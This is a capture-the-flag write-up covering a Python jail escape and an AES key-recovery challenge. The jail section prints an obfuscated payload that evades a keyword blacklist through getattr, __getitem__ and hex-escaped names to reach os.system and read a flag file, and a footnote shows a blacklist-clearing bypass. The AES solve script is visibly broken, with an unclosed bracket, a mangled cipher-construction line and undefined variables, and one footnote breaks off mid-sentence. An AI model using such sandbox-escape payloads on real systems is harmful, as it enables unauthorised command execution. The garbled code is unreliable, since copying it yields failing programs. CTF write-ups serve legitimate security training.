Here we have a python interpreter with several interesting functions/operators blacklisted, and we need to read /ctf/flag.txt and display the contents. Examining the environment we can see the blacklist and the defined globals.

>>> print(BLACKLIST)
['import', 'os', 'system', 'subprocess', 'eval', 'exec', 'input', 'open', '_', '[', ']']
>>> print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f39a9475ca0>, '__spec__': None, '__annotations__': \{\}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '//ctf/', '__cached__': None, 'WARN': 'Part of your input is in BLACKLIST', 'BLACKLIST': ['import', 'os', 'system', 'subprocess', 'eval', 'exec', 'input', 'open', '_', '[', ']'], 'main': <function main at 0x7f39a9494040>}

We see that we can access __builtins__ through the globals and use that to import os and win. However, as '_', '[', ']' are in the blacklist, we need to get creative with using e.g. getattr and __getitem__ to access items using strings constructed to evade the blacklist. The general idea is we want to do globals()["__builtins__"].__import__("os").system("cat /ctf/flag.txt"). 2

Our final payload is:

getattr(getattr(getattr(globals(), "\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f"), "\x5f\x5f\x69mport\x5f\x5f")("\x6fs"), "\x73ystem")("cat /ctf/flag.txt")


Since RSA was too complicated, let us try some AES! To solve this challenge, go through the source code provided and try to reverse it.

Looking at the attached python source code and playing with some sample inputs to the script, we can see that the enc_flag function will give us a 16-byte IV and the encrypted flag every time it’s called. We can also see that every time encrypt is called a new IV and key are derived from the current key and ciphertext. We can therefore get the information we need to decrypt the flag by getting an encrypted flag message and calculating the next key from the returned ciphertext.

Wrote a quick pwntools script reusing parts of the provided source to automate this:

import base64
import sys
from Crypto.Cipher import AES

from pwn import *

CHAL_PORT = 1337

conn = remote(CHAL_SERVER, CHAL_PORT)


def to_blocks(txt):
    return [
        txt[i * BLOCK_SIZE : (i + 1) * BLOCK_SIZE]
        for i in range(len(txt) // BLOCK_SIZE)

def xor(b1, b2=None):
    if isinstance(b1, list) and b2 is None:
        x = [len(b) for b in b1][0] * b"\x00"
        for b in b1:
            x = xor(x, b)
        return x
    return bytes([a ^ b for a, b in zip(b1, b2)])

def decrypt(txt, key, iv):
    bs = len(key)
    blocks = to_blocks(txt)
    ptxt = b""
    aes =, AES.MODE_ECB)
    curr = iv
    for block in blocks:
        ptxt += xor(curr, aes.decrypt(block))
        curr = xor(ptxt[-bs:], block)
    return ptxt

def get_enc_flag():
    conn.recvuntilS("Choice: ")
    s = base64.b64decode(conn.recvline())
    iv = s[:16]
    ctxt = s[16:]
    return iv, ctxt

_, ctxt1 = get_enc_flag()
key = xor(to_blocks(ctxt1))
iv, ctxt2 = get_enc_flag()
print(decrypt(ctxt2, key, iv).decode("utf-8"))


This is technically my second round of iCTF (I joined near the end of round 5), and I had a lot of fun solving these problems this round.

Many thanks to the organizers / board for all the work they put in to make this happen and to grow the community!

Note: all exercise materials are the property of their respective authors, reproduced here for educational purposes.

Solutions and related code are covered by the license noted in the Terms of Use.


  1. The Easter egg can be found by XOR-ing the e value from the bottom flag.txt with the decrypted key ictf{th1s_1s_th3_k3y...D0_Y0U_H34R_TH3M?}, doing so gets you . Congrats to chopswiss#6744 for being the only one to figure this out this round!

  2. Much better solution for this found by Astro#1799:

    >>> BLACKLIST.clear()
    >>> print(open("/ctf/flag.txt").read())